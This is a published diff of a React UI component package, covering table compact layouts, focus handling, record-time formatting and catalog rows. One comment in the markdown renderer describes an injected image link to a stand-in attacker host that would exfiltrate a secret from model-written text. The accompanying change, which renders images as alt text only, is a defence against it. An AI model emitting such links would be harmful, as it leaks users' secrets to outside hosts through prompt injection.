@nadicodeai/ui 12.1.182 → 12.1.184

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (37) hide show
  1. package/dist/components/catalog-row.d.ts +98 -21
  2. package/dist/components/catalog-row.d.ts.map +1 -1
  3. package/dist/components/catalog-row.js +72 -43
  4. package/dist/components/chart-date-range-control.d.ts +36 -2
  5. package/dist/components/chart-date-range-control.d.ts.map +1 -1
  6. package/dist/components/chart-date-range-control.js +22 -21
  7. package/dist/components/hover-card.d.ts +1 -1
  8. package/dist/components/hover-card.js +1 -1
  9. package/dist/components/page-actions.d.ts +5 -4
  10. package/dist/components/page-actions.d.ts.map +1 -1
  11. package/dist/components/page-actions.js +17 -6
  12. package/dist/components/record-identity.d.ts +1 -1
  13. package/dist/components/record-identity.d.ts.map +1 -1
  14. package/dist/components/record-identity.js +2 -5
  15. package/dist/components/record-list.d.ts +7 -7
  16. package/dist/components/record-list.d.ts.map +1 -1
  17. package/dist/components/record-list.js +7 -24
  18. package/dist/components/record-time.d.ts +2 -4
  19. package/dist/components/record-time.d.ts.map +1 -1
  20. package/dist/components/record-time.js +3 -29
  21. package/dist/components/settings-facts.d.ts +18 -3
  22. package/dist/components/settings-facts.d.ts.map +1 -1
  23. package/dist/components/settings-facts.js +13 -8
  24. package/dist/components/table-layouts.d.ts +8 -8
  25. package/dist/components/table-layouts.d.ts.map +1 -1
  26. package/dist/components/table-layouts.js +8 -8
  27. package/dist/internal/assistant-ui/markdown-text.js +3 -0
  28. package/dist/internal/table-compact-line.d.ts +4 -6
  29. package/dist/internal/table-compact-line.d.ts.map +1 -1
  30. package/dist/internal/table-compact-line.js +58 -9
  31. package/dist/lib/format-record-time.d.ts +9 -0
  32. package/dist/lib/format-record-time.d.ts.map +1 -0
  33. package/dist/lib/format-record-time.js +32 -0
  34. package/dist/showcase/specimens/compositions.d.ts.map +1 -1
  35. package/dist/showcase/specimens/compositions.js +19 -4
  36. package/dist/showcase/usage.generated.js +13 -13
  37. package/package.json +6 -2
@@ -35,6 +35,9 @@ const defaultComponents = memoizeMarkdownComponents({
35
35
  h6: ({ className, children, ...props }) => (_jsx("h6", { className: cn("mt-3 mb-1 text-sm font-medium first:mt-0 last:mb-0", className), ...props, children: children })),
36
36
  p: ({ className, ...props }) => (_jsx("p", { className: cn("my-3 leading-relaxed first:mt-0 last:mb-0", className), ...props })),
37
37
  a: ({ className, children, ...props }) => (_jsx("a", { className: cn("text-primary hover:text-primary/80 underline underline-offset-2", className), ...props, children: children })),
38
+ // The model writes this text, and the browser requests an image's address without a click, so
39
+ // an injected `![](https://attacker.example/?d=<secret>)` would send the secret out.
40
+ img: ({ alt }) => (alt ? _jsx("span", { children: alt }) : null),
38
41
  blockquote: ({ className, ...props }) => (_jsx("blockquote", { className: cn("border-muted-foreground/30 text-muted-foreground my-3 border-s-2 ps-4", className), ...props })),
39
42
  ul: ({ className, ...props }) => (_jsx("ul", { className: cn("marker:text-muted-foreground my-3 ms-5 list-disc [&>li]:mt-1", className), ...props })),
40
43
  ol: ({ className, ...props }) => (_jsx("ol", { className: cn("marker:text-muted-foreground my-3 ms-5 list-decimal [&>li]:mt-1", className), ...props })),
@@ -9,12 +9,10 @@ export type TableDetailFact = {
9
9
  /** The value stands beside the record's name instead, which ends in an ellipsis before it: a status. */
10
10
  besideName?: boolean;
11
11
  };
12
- /** A facts line reads a `Tag` as its text and a block value inline. */
13
- export declare const detailFactsLine = "**:data-[slot=tag]:contents [&>span>:is(div,p,.block,.grid,.flex)]:inline";
12
+ export declare const detailFactsLine = "**:data-[slot=tag]:align-middle [&>span>:is(div,p,.block,.grid,.flex)]:inline";
14
13
  export declare const detailFactsWrap = "[&_:not(.sr-only,[data-slot=badge],[data-slot=badge]_*)]:whitespace-normal";
15
- export declare function DetailFacts({ facts, leadingSeparator, }: {
14
+ export declare function DetailFacts({ facts }: {
16
15
  facts: readonly TableDetailFact[];
17
- leadingSeparator?: boolean;
18
16
  }): React.JSX.Element[];
19
17
  type TableCompactLineValue = {
20
18
  layout: TableCompactLayout;
@@ -23,7 +21,6 @@ type TableCompactLineValue = {
23
21
  export declare function TableCompactLine({ children, ...value }: TableCompactLineValue & {
24
22
  children: React.ReactNode;
25
23
  }): React.JSX.Element;
26
- /** The compact facts of the row this stands in, after a middle dot; nothing outside such a row or on a card wide enough for the columns. */
27
24
  export declare function TableCompactFacts(): React.JSX.Element | null;
28
25
  /** The compact facts that stand beside the name of the row this stands in, which no ellipsis cuts; nothing outside such a row or on a card wide enough for the columns. */
29
26
  export declare function TableCompactNameFacts(): React.JSX.Element | null;
@@ -41,7 +38,8 @@ type TableCompactLayoutValue = {
41
38
  * what goes beside its name on a wide card and under it on a compact one both, and this layout's
42
39
  * container query shows the one that fits, so the server's first draw is already the browser's and
43
40
  * nothing moves when it hydrates. Once measured, only the placement that fits stands, so the page
44
- * holds one copy of each command, and a menu opened on a compact card goes when the card widens.
41
+ * holds one copy of each command, and a menu opened on a compact card goes when the card widens,
42
+ * handing its focus to the command that stands for it.
45
43
  */
46
44
  export declare function TableCompactLayoutOf({ layout, shown, children, }: TableCompactLayoutValue & {
47
45
  children: React.ReactNode;
@@ -1 +1 @@
1
- {"version":3,"file":"table-compact-line.d.ts","sourceRoot":"","sources":["../../src/internal/table-compact-line.tsx"],"names":[],"mappings":"AAEA,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAE/B,OAAO,EAAuB,KAAK,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAG1F,MAAM,MAAM,eAAe,GAAG;IAC5B,EAAE,EAAE,MAAM,CAAC;IACX,KAAK,EAAE,KAAK,CAAC,SAAS,CAAC;IACvB,KAAK,EAAE,KAAK,CAAC,SAAS,CAAC;IACvB,4HAA4H;IAC5H,KAAK,CAAC,EAAE,OAAO,CAAC;IAChB,wGAAwG;IACxG,UAAU,CAAC,EAAE,OAAO,CAAC;CACtB,CAAC;AAEF,uEAAuE;AACvE,eAAO,MAAM,eAAe,8EACiD,CAAC;AAE9E,eAAO,MAAM,eAAe,+EACkD,CAAC;AAE/E,wBAAgB,WAAW,CAAC,EAC1B,KAAK,EACL,gBAAwB,GACzB,EAAE;IACD,KAAK,EAAE,SAAS,eAAe,EAAE,CAAC;IAClC,gBAAgB,CAAC,EAAE,OAAO,CAAC;CAC5B,uBAQA;AAED,KAAK,qBAAqB,GAAG;IAAE,MAAM,EAAE,kBAAkB,CAAC;IAAC,KAAK,EAAE,SAAS,eAAe,EAAE,CAAA;CAAE,CAAC;AAI/F,wBAAgB,gBAAgB,CAAC,EAC/B,QAAQ,EACR,GAAG,KAAK,EACT,EAAE,qBAAqB,GAAG;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,qBAEvD;AAED,4IAA4I;AAC5I,wBAAgB,iBAAiB,6BAahC;AAED,2KAA2K;AAC3K,wBAAgB,qBAAqB,6BAkBpC;AAED;;;GAGG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,SAAS,GAAG,SAAS,CAAC;AAEzD,KAAK,uBAAuB,GAAG;IAAE,MAAM,EAAE,kBAAkB,CAAC;IAAC,KAAK,EAAE,WAAW,CAAA;CAAE,CAAC;AAMlF;;;;;;GAMG;AACH,wBAAgB,oBAAoB,CAAC,EACnC,MAAM,EACN,KAAK,EACL,QAAQ,GACT,EAAE,uBAAuB,GAAG;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,qBAGzD;AAQD,oEAAoE;AACpE,wBAAgB,QAAQ,CAAC,EAAE,QAAQ,EAAE,EAAE;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,4BAQnE;AAED,gDAAgD;AAChD,wBAAgB,WAAW,CAAC,EAAE,QAAQ,EAAE,EAAE;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,4BAQtE"}
1
+ {"version":3,"file":"table-compact-line.d.ts","sourceRoot":"","sources":["../../src/internal/table-compact-line.tsx"],"names":[],"mappings":"AAEA,OAAO,KAAK,KAAK,MAAM,OAAO,CAAC;AAE/B,OAAO,EAAuB,KAAK,kBAAkB,EAAE,MAAM,4BAA4B,CAAC;AAG1F,MAAM,MAAM,eAAe,GAAG;IAC5B,EAAE,EAAE,MAAM,CAAC;IACX,KAAK,EAAE,KAAK,CAAC,SAAS,CAAC;IACvB,KAAK,EAAE,KAAK,CAAC,SAAS,CAAC;IACvB,4HAA4H;IAC5H,KAAK,CAAC,EAAE,OAAO,CAAC;IAChB,wGAAwG;IACxG,UAAU,CAAC,EAAE,OAAO,CAAC;CACtB,CAAC;AAEF,eAAO,MAAM,eAAe,kFACqD,CAAC;AAElF,eAAO,MAAM,eAAe,+EACkD,CAAC;AAE/E,wBAAgB,WAAW,CAAC,EAAE,KAAK,EAAE,EAAE;IAAE,KAAK,EAAE,SAAS,eAAe,EAAE,CAAA;CAAE,uBAU3E;AAED,KAAK,qBAAqB,GAAG;IAAE,MAAM,EAAE,kBAAkB,CAAC;IAAC,KAAK,EAAE,SAAS,eAAe,EAAE,CAAA;CAAE,CAAC;AAI/F,wBAAgB,gBAAgB,CAAC,EAC/B,QAAQ,EACR,GAAG,KAAK,EACT,EAAE,qBAAqB,GAAG;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,qBAEvD;AAED,wBAAgB,iBAAiB,6BAkBhC;AAED,2KAA2K;AAC3K,wBAAgB,qBAAqB,6BAkBpC;AAED;;;GAGG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,GAAG,SAAS,GAAG,SAAS,CAAC;AAEzD,KAAK,uBAAuB,GAAG;IAAE,MAAM,EAAE,kBAAkB,CAAC;IAAC,KAAK,EAAE,WAAW,CAAA;CAAE,CAAC;AAMlF;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAAC,EACnC,MAAM,EACN,KAAK,EACL,QAAQ,GACT,EAAE,uBAAuB,GAAG;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,qBAGzD;AAwDD,oEAAoE;AACpE,wBAAgB,QAAQ,CAAC,EAAE,QAAQ,EAAE,EAAE;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,4BAenE;AAED,gDAAgD;AAChD,wBAAgB,WAAW,CAAC,EAAE,QAAQ,EAAE,EAAE;IAAE,QAAQ,EAAE,KAAK,CAAC,SAAS,CAAA;CAAE,4BAetE"}
@@ -3,17 +3,15 @@ import { jsx as _jsx, jsxs as _jsxs } from "react/jsx-runtime";
3
3
  import * as React from "react";
4
4
  import { tableCompactLayouts } from "../components/table-layouts.js";
5
5
  import { cn } from "../lib/utils.js";
6
- /** A facts line reads a `Tag` as its text and a block value inline. */
7
- export const detailFactsLine = "**:data-[slot=tag]:contents [&>span>:is(div,p,.block,.grid,.flex)]:inline";
6
+ export const detailFactsLine = "**:data-[slot=tag]:align-middle [&>span>:is(div,p,.block,.grid,.flex)]:inline";
8
7
  export const detailFactsWrap = "[&_:not(.sr-only,[data-slot=badge],[data-slot=badge]_*)]:whitespace-normal";
9
- export function DetailFacts({ facts, leadingSeparator = false, }) {
10
- return facts.map((fact, index) => (_jsxs("span", { children: [index > 0 || leadingSeparator ? _jsx("span", { "aria-hidden": "true", children: " \u00B7 " }) : null, _jsxs("span", { className: "sr-only", children: [fact.label, ": "] }), fact.value] }, fact.id)));
8
+ export function DetailFacts({ facts }) {
9
+ return facts.map((fact, index) => (_jsxs(React.Fragment, { children: [index > 0 ? _jsx("span", { "aria-hidden": "true", children: " \u00B7 " }) : null, _jsxs("span", { className: "inline-block max-w-full", children: [_jsxs("span", { className: "sr-only", children: [fact.label, ": "] }), fact.value] })] }, fact.id)));
11
10
  }
12
11
  const TableCompactLineContext = React.createContext(null);
13
12
  export function TableCompactLine({ children, ...value }) {
14
13
  return _jsx(TableCompactLineContext, { value: value, children: children });
15
14
  }
16
- /** The compact facts of the row this stands in, after a middle dot; nothing outside such a row or on a card wide enough for the columns. */
17
15
  export function TableCompactFacts() {
18
16
  const line = React.useContext(TableCompactLineContext);
19
17
  if (!line)
@@ -21,7 +19,7 @@ export function TableCompactFacts() {
21
19
  const facts = line.facts.filter((fact) => !fact.besideName);
22
20
  if (facts.length === 0)
23
21
  return null;
24
- return (_jsx("span", { className: cn(detailFactsLine, detailFactsWrap, tableCompactLayouts[line.layout].details), "data-slot": "table-detail-line", children: _jsx(DetailFacts, { facts: facts, leadingSeparator: true }) }));
22
+ return (_jsx("span", { className: cn("relative text-sm text-muted-foreground", detailFactsLine, detailFactsWrap, tableCompactLayouts[line.layout].details), "data-slot": "table-detail-line", children: _jsx(DetailFacts, { facts: facts }) }));
25
23
  }
26
24
  /** The compact facts that stand beside the name of the row this stands in, which no ellipsis cuts; nothing outside such a row or on a card wide enough for the columns. */
27
25
  export function TableCompactNameFacts() {
@@ -39,7 +37,8 @@ const TableCompactLayoutContext = React.createContext(undefined);
39
37
  * what goes beside its name on a wide card and under it on a compact one both, and this layout's
40
38
  * container query shows the one that fits, so the server's first draw is already the browser's and
41
39
  * nothing moves when it hydrates. Once measured, only the placement that fits stands, so the page
42
- * holds one copy of each command, and a menu opened on a compact card goes when the card widens.
40
+ * holds one copy of each command, and a menu opened on a compact card goes when the card widens,
41
+ * handing its focus to the command that stands for it.
43
42
  */
44
43
  export function TableCompactLayoutOf({ layout, shown, children, }) {
45
44
  const value = React.useMemo(() => ({ layout, shown }), [layout, shown]);
@@ -51,17 +50,67 @@ function useCompactLayout() {
51
50
  throw new Error("A row's placements stand only inside a table's compact layout");
52
51
  return value;
53
52
  }
53
+ const placementCommands = ':is([data-slot="wide-only"], [data-slot="compact-only"]) :is(a[href], button:not(:disabled), [tabindex]:not([tabindex="-1"]))';
54
+ function commandName(element) {
55
+ return element.getAttribute("aria-label") ?? element.textContent?.trim() ?? "";
56
+ }
57
+ /**
58
+ * A placement that goes when the card crosses its breakpoint hands the keyboard focus it held, on
59
+ * a command or in a menu a command opened, to the command of the same name in the placement that
60
+ * stands, or else to the row's first command there, never to the page's body. React's focus event
61
+ * reaches the placement from a menu drawn in a portal, which the placement's DOM does not hold.
62
+ * The layout's container query can hide the placement before the table measures the card, and the
63
+ * browser then moves the focus to the body itself: a command that loses focus by being hidden
64
+ * still counts as focused, and one the person leaves does not.
65
+ */
66
+ function useFocusAcrossLayouts() {
67
+ const focused = React.useRef(null);
68
+ const lost = React.useRef(null);
69
+ const ref = React.useCallback((placement) => {
70
+ const row = placement?.closest("tr");
71
+ if (!placement || !row)
72
+ return;
73
+ return () => {
74
+ const command = focused.current;
75
+ const { activeElement, body } = placement.ownerDocument;
76
+ if (command && (!activeElement || activeElement === body || activeElement === command)) {
77
+ lost.current = { row, name: commandName(command) };
78
+ }
79
+ };
80
+ }, []);
81
+ React.useLayoutEffect(() => {
82
+ const left = lost.current;
83
+ lost.current = null;
84
+ if (!left?.row.isConnected)
85
+ return;
86
+ const { activeElement, body } = left.row.ownerDocument;
87
+ if (activeElement && activeElement !== body)
88
+ return;
89
+ const commands = [...left.row.querySelectorAll(placementCommands)];
90
+ (commands.find((each) => commandName(each) === left.name) ?? commands[0])?.focus();
91
+ });
92
+ const onFocus = React.useCallback((event) => {
93
+ focused.current = event.target;
94
+ }, []);
95
+ const onBlur = React.useCallback((event) => {
96
+ if (event.target.checkVisibility?.() ?? true)
97
+ focused.current = null;
98
+ }, []);
99
+ return { attach: ref, onFocus, onBlur };
100
+ }
54
101
  /** What stands only on a card wide enough for the row's columns. */
55
102
  export function WideOnly({ children }) {
56
103
  const { layout, shown } = useCompactLayout();
104
+ const { attach, onFocus, onBlur } = useFocusAcrossLayouts();
57
105
  if (shown === "details")
58
106
  return null;
59
- return (_jsx("span", { className: tableCompactLayouts[layout].wideOnly, "data-slot": "wide-only", children: children }));
107
+ return (_jsx("span", { className: tableCompactLayouts[layout].wideOnly, "data-slot": "wide-only", onBlur: onBlur, onFocus: onFocus, ref: attach, children: children }));
60
108
  }
61
109
  /** What stands only once the row is compact. */
62
110
  export function CompactOnly({ children }) {
63
111
  const { layout, shown } = useCompactLayout();
112
+ const { attach, onFocus, onBlur } = useFocusAcrossLayouts();
64
113
  if (shown === "columns")
65
114
  return null;
66
- return (_jsx("span", { className: cn("contents", tableCompactLayouts[layout].details), "data-slot": "compact-only", children: children }));
115
+ return (_jsx("span", { className: cn("contents", tableCompactLayouts[layout].details), "data-slot": "compact-only", onBlur: onBlur, onFocus: onFocus, ref: attach, children: children }));
67
116
  }
@@ -0,0 +1,9 @@
1
+ /**
2
+ * The one reading of when something happened to a record, for `RecordTime` and for a server that writes the time into
3
+ * its own text: Geist's short form in the person's language within a week ("now", "3h ago", "yesterday", "3 h fa"), then the
4
+ * day and month, with the year when it is not this year.
5
+ */
6
+ export declare function formatRecordTime(at: Date, locale?: string, now?: number, timeZone?: string): string;
7
+ /** The day and month a record's time falls on, with the year when asked: "12 Sep 2025". */
8
+ export declare function formatRecordDay(at: Date, locale: string | undefined, timeZone: string | undefined, withYear: boolean): string;
9
+ //# sourceMappingURL=format-record-time.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"format-record-time.d.ts","sourceRoot":"","sources":["../../src/lib/format-record-time.ts"],"names":[],"mappings":"AASA;;;;GAIG;AACH,wBAAgB,gBAAgB,CAC9B,EAAE,EAAE,IAAI,EACR,MAAM,CAAC,EAAE,MAAM,EACf,GAAG,SAAa,EAChB,QAAQ,CAAC,EAAE,MAAM,GAChB,MAAM,CAWR;AAED,2FAA2F;AAC3F,wBAAgB,eAAe,CAC7B,EAAE,EAAE,IAAI,EACR,MAAM,EAAE,MAAM,GAAG,SAAS,EAC1B,QAAQ,EAAE,MAAM,GAAG,SAAS,EAC5B,QAAQ,EAAE,OAAO,GAChB,MAAM,CAIR"}
@@ -0,0 +1,32 @@
1
+ const DAY = 86_400_000;
2
+ const WEEK = 7 * DAY;
3
+ const UNITS = [
4
+ ["day", DAY],
5
+ ["hour", 3_600_000],
6
+ ["minute", 60_000],
7
+ ];
8
+ /**
9
+ * The one reading of when something happened to a record, for `RecordTime` and for a server that writes the time into
10
+ * its own text: Geist's short form in the person's language within a week ("now", "3h ago", "yesterday", "3 h fa"), then the
11
+ * day and month, with the year when it is not this year.
12
+ */
13
+ export function formatRecordTime(at, locale, now = Date.now(), timeZone) {
14
+ const elapsed = now - at.getTime();
15
+ if (elapsed >= 0 && elapsed < WEEK) {
16
+ const relative = new Intl.RelativeTimeFormat(locale, { numeric: "auto", style: "narrow" });
17
+ for (const [unit, size] of UNITS) {
18
+ if (elapsed >= size)
19
+ return relative.format(-Math.floor(elapsed / size), unit);
20
+ }
21
+ return relative.format(0, "second");
22
+ }
23
+ const yearOf = new Intl.DateTimeFormat("en", { timeZone, year: "numeric" });
24
+ return formatRecordDay(at, locale, timeZone, yearOf.format(at) !== yearOf.format(now));
25
+ }
26
+ /** The day and month a record's time falls on, with the year when asked: "12 Sep 2025". */
27
+ export function formatRecordDay(at, locale, timeZone, withYear) {
28
+ const shown = { timeZone, day: "numeric", month: "short" };
29
+ if (withYear)
30
+ shown.year = "numeric";
31
+ return new Intl.DateTimeFormat(locale, shown).format(at);
32
+ }
@@ -1 +1 @@
1
- {"version":3,"file":"compositions.d.ts","sourceRoot":"","sources":["../../../src/showcase/specimens/compositions.tsx"],"names":[],"mappings":"AAuIA,iBAAS,oBAAoB,gCA+B5B;AAMD,iBAAS,wBAAwB,gCAahC;AAED,iBAAS,qBAAqB,gCA0B7B;AAED,iBAAS,yBAAyB,gCAGjC;AAoBD,iBAAS,mBAAmB,gCAwB3B;AAED,iBAAS,sBAAsB,gCAyD9B;AAED,iBAAS,yBAAyB,gCAUjC;AAED,iBAAS,qBAAqB,gCAwC7B;AAED,iBAAS,kBAAkB,gCAiB1B;AAED,iBAAS,oBAAoB,gCAS5B;AAED,iBAAS,kBAAkB,gCA0B1B;AAED,iBAAS,kBAAkB,gCAuE1B;AAED,iBAAS,kBAAkB,gCAwB1B;AAED,iBAAS,oBAAoB,gCAkD5B;AAED,iBAAS,oBAAoB,gCAqC5B;AAED,iBAAS,mBAAmB,gCA2B3B;AAED,iBAAS,mBAAmB,gCAoB3B;AAwBD,iBAAS,uBAAuB,gCAkD/B;AA+BD,eAAO,MAAM,YAAY;;;;;;;;;;;;;;;;;;;;;;;;CA6FE,CAAC"}
1
+ {"version":3,"file":"compositions.d.ts","sourceRoot":"","sources":["../../../src/showcase/specimens/compositions.tsx"],"names":[],"mappings":"AAuIA,iBAAS,oBAAoB,gCA+B5B;AAMD,iBAAS,wBAAwB,gCAahC;AAED,iBAAS,qBAAqB,gCA0B7B;AAED,iBAAS,yBAAyB,gCAGjC;AAwBD,iBAAS,mBAAmB,gCAmC3B;AAED,iBAAS,sBAAsB,gCAyD9B;AAED,iBAAS,yBAAyB,gCAUjC;AAED,iBAAS,qBAAqB,gCAwC7B;AAED,iBAAS,kBAAkB,gCAiB1B;AAED,iBAAS,oBAAoB,gCAS5B;AAED,iBAAS,kBAAkB,gCA0B1B;AAED,iBAAS,kBAAkB,gCAuE1B;AAED,iBAAS,kBAAkB,gCAwB1B;AAED,iBAAS,oBAAoB,gCAkD5B;AAED,iBAAS,oBAAoB,gCAqC5B;AAED,iBAAS,mBAAmB,gCA2B3B;AAED,iBAAS,mBAAmB,gCAoB3B;AAwBD,iBAAS,uBAAuB,gCAkD/B;AA+BD,eAAO,MAAM,YAAY;;;;;;;;;;;;;;;;;;;;;;;;CA6FE,CAAC"}
@@ -161,16 +161,20 @@ const SKILLS = [
161
161
  detail: "Writes a quote from the price list and the customer's request.",
162
162
  icon: "receipt",
163
163
  category: "sales",
164
- source: "From the Library",
164
+ origin: { kind: "library" },
165
165
  },
166
166
  {
167
167
  name: "Invoice reminders",
168
168
  detail: "Reminds a customer of an invoice past its due date, politely, once a week.",
169
169
  icon: "mail",
170
170
  category: "finance",
171
- source: "From the Library",
171
+ origin: { kind: "company" },
172
+ },
173
+ {
174
+ name: "Price list",
175
+ detail: "The shop's prices, kept up to date.",
176
+ origin: { kind: "learned", by: { name: "Giulia" } },
172
177
  },
173
- { name: "Price list", detail: "The shop's prices, kept up to date.", source: "Added in Nadia" },
174
178
  ];
175
179
  function CatalogRowsSpecimen() {
176
180
  const art = useEmptyArt();
@@ -178,8 +182,19 @@ function CatalogRowsSpecimen() {
178
182
  category: "Category",
179
183
  allCategories: "All categories",
180
184
  categoryName: (category) => category.charAt(0).toUpperCase() + category.slice(1),
181
- source: "Source",
182
185
  filter: FILTER_COPY,
186
+ origin: {
187
+ label: "Origin",
188
+ words: {
189
+ company: "Company skill",
190
+ library: "From the Library",
191
+ nadia: "Comes with Nadia",
192
+ added: "Added in Nadia",
193
+ hub: (hub) => `From ${hub}`,
194
+ learned: "Learned",
195
+ learnedBy: (agent) => `Learned by ${agent}`,
196
+ },
197
+ },
183
198
  });
184
199
  return (_jsx(CollectionPage, { ...rows.list, ...(rows.filters ? { filters: rows.filters } : {}), empty: {
185
200
  kind: "firstUse",
@@ -208,7 +208,7 @@ export const USAGE = [
208
208
  summary: "Entity rows: objects a person opens or acts on, one line each on one resting card: the identity mark and name over what it is, a few facts, a status only for the exception, when it happened, at most two row commands, and the three dots last.",
209
209
  when: "“Use `<Entity>` for a row of descriptive content paired with one or two controls (member rows, integration rows, domain rows).” (https://vercel.com/geist/entity) Ours: the records are things a person opens or acts on and that name themselves: projects, deployments, domains, members, integrations, Agents, Skills, mailboxes. A list inside another page: an Overview's exceptions, an object page's \"Needs attention\". A page whose whole job is the list is a `CollectionPage`, which draws this. Values edited in place (a domain, an environment variable) are the same rows with an `editor`: the row expands into its form. Of the three kinds of list, entity rows and rows edited in place are this; records compared across columns are a `DataTable`.",
210
210
  instead: "“For tabular data with sortable columns and shared row shape, use `Table` instead.” (https://vercel.com/geist/entity) “For a static key/value metadata block on a detail page, use `Description`.” (https://vercel.com/geist/entity) Ours: Geist's `Table` is a `DataTable`: this list has no visible headings and at most three facts, so a fourth fact is a table, and anything more than a few facts lives on the record's page. A screen gives `RecordList` the records and what each one says, never its own toolbar, table, rows or menus, and nothing else draws a record row. Its `Description` is `ObjectFacts`. Events in time are an `ActivityFeed`. Reusable things a person adds from a catalogue are a `LibraryShelf`. A descriptive row with prose is an `Item`.",
211
- behaviour: "One bordered card, a 1 px rule between records and none after the last. A row is 72 px, with 16 px above and below, and its columns stand left to right at the widths the list declares, so a person reads every list the same way: the `select` box (40 px, only when the list is picked from, an optional column), the identity (the rest: the one column without a size), the facts (each its `size`), the status (`status.size`), the time (`time.size`, tabular), the `checklist` ring (52 px, only when the record has steps to be ready) and the commands (as wide as the widest row's buttons, a failed action's next steps and the three dots or the chevron after them need, worked out from their labels, each label at most 8 px a character and a button holding the longer of its label and its pending label, the dots at their 44 px touch target; 64 px for the three dots or the chevron alone; a row that draws a button or next steps is never narrower than a `commandsSize` the caller gives). A `checklist` puts the record's `ProgressChecklist` ring just before its commands, where Vercel ends a project's row with its Production Checklist; the ring opens its own drawer, never the row. Every row has its 32 px mark, its name (600) and, under it, one muted 14 px line; `name` and the mark are required; a record with nothing to say under its name leaves the line out and is the name alone, never a dash. Give every column a `size` in pixels; the name takes the rest. With `layout=\"line\"`, as on Vercel's Projects page, the facts and the status share one muted line, joined by a middle dot, in a column as wide as the name's, and the row stays one line (mark, name over its line, that summary, the time, the ring, the three dots) on a card wide enough for its sized columns and 160 px each for the name and the summary, and on a narrower card the summary and the time move under the name as muted text joined by a middle dot that wraps, the status keeping its mark whole and breaking between its words only when it alone is wider than the line, in the same row, their labels read by assistive technology only. Rows of `columns` follow the same rule once the card is narrower than their columns: the facts and the time leave the row for that muted text, wrapping so every value stays readable, never a labelled list, and the status stands beside the name, which ends in an ellipsis before it, so the exception is never the part a phone's line cuts. `facts` takes at most three. A menu of one command that is not destructive, with no row command, is that command's button, except in a `line` row, which keeps it in the three dots as Vercel's project row does, and the column is as wide as the widest such button, so its label is never cut. The commands never take the name's room: once the row is compact, its commands column holds only the three dots or the chevron, a sole menu command stays in the dots and the row's own buttons stand under the name, beside a failed action's next steps, outside the row's link, so pressing one never opens the record. Status is only for the exception, empty for the usual record, and its column stands only while a record in the list shows one, so the name and its line keep the room; a fact's column likewise stands only while a record in the list has its value; the commands column likewise stands only while a record has a command, a menu or a message, or the rows open, and it widens for a failed action's next steps only while a row shows one. Never the three dots before the button, a decorative icon for the record's mark, a status on every row, or a destructive button on every row: a destructive command stays in the three dots. A `line` row's summary joins only the facts the record has, so it never ends in a dot. A failed or refused action of the record shows as its catalogue message inside its own row, never a notice under the row: it replaces the detail line, with its next steps beside its commands, or under the message on a card too narrow for the row's columns. With `open` the whole row is one target and takes the `accent` hover, and a row that only opens ends in a muted chevron; a row that opens nothing never reacts to hover. With `editor` the record's row opens its form under its line. `empty` is required: `null` is the choice to draw nothing for a list with no records, and any other value is the state it draws. A note about the whole list is `footer.note`: one muted line, an optional *Learn more* after it at the left and one secondary action at the right, in a strip of its own under the count and the paging, as Vercel ends its deployments list (\"Deployment retention is enabled. Learn more\", *View recently deleted*). Colour is neutral, the name in ink and every other cell in the body grey, except the status badge and a failed action's message. “Pick the variant by what the user needs: no-results for a filtered list that returned zero rows, blank slate or informational for a resource the user hasn’t created, cleared for completed work, permission for role or tier denials, error for a failed load.” (https://vercel.com/geist/empty-state) Ours: `failed`, `noMatch` and `empty` are those variants, drawn inside the card. “The right column holds at most one or two controls. If the row needs more, move secondary actions into a `Dots Menu`.” (https://vercel.com/geist/entity) Ours: one or two row commands (outline buttons of 32 px) stand before the three dots (36 px), the Dots Menu. “Render the Skeleton variant (`entity-with-skeleton`) during load instead of an empty row, and swap to real content once data resolves.” (https://vercel.com/geist/entity) Ours: three still skeleton rows hold the place, in a region that announces what replaces them; then the first that holds: the failed read, no match, the empty state, the rows.",
211
+ behaviour: "One bordered card, a 1 px rule between records and none after the last. A row is 72 px, with 16 px above and below, and its columns stand left to right at the widths the list declares, so a person reads every list the same way: the `select` box (40 px, only when the list is picked from, an optional column), the identity (the rest: the one column without a size), the facts (each its `size`), the status (`status.size`), the time (`time.size`, tabular), the `checklist` ring (52 px, only when the record has steps to be ready) and the commands (as wide as the widest row's buttons, a failed action's next steps and the three dots after them need, worked out from their labels, each label at most 8 px a character and a button holding the longer of its label and its pending label, the dots at their 44 px touch target; 64 px for the three dots alone; a row that draws a button or next steps is never narrower than a `commandsSize` the caller gives). A `checklist` puts the record's `ProgressChecklist` ring just before its commands, where Vercel ends a project's row with its Production Checklist; the ring opens its own drawer, never the row. Every row has its 32 px mark, its name (600) and, under it, one muted 14 px line; `name` and the mark are required; a record with nothing to say under its name leaves the line out and is the name alone, never a dash. Give every column a `size` in pixels; the name takes the rest. With `layout=\"line\"`, as on Vercel's Projects page, the facts and the status share one muted line, joined by a middle dot, in a column as wide as the name's, and the row stays one line (mark, name over its line, that summary, the time, the ring, the three dots) on a card wide enough for its sized columns and 160 px each for the name and the summary, and on a narrower card the summary and the time move under the name as muted text joined by a middle dot that wraps, the status keeping its mark whole and breaking between its words only when it alone is wider than the line, in the same row, their labels read by assistive technology only. Rows of `columns` follow the same rule once the card is narrower than their columns: the facts and the time leave the row for that muted text, wrapping so every value stays readable, never a labelled list, and the status stands beside the name, which ends in an ellipsis before it, so the exception is never the part a phone's line cuts. `facts` takes at most three. A menu keeps every command in the three dots, one alone included, as Vercel's Environment Variables and Members rows do: a button stands on a row only where the list names it as `command`, the record's main job, on every row that can do it, so one list never mixes rows ending in a button with rows ending in dots. The commands never take the name's room: once the row is compact, its commands column holds only the three dots and the row's own buttons stand under the name, beside a failed action's next steps, 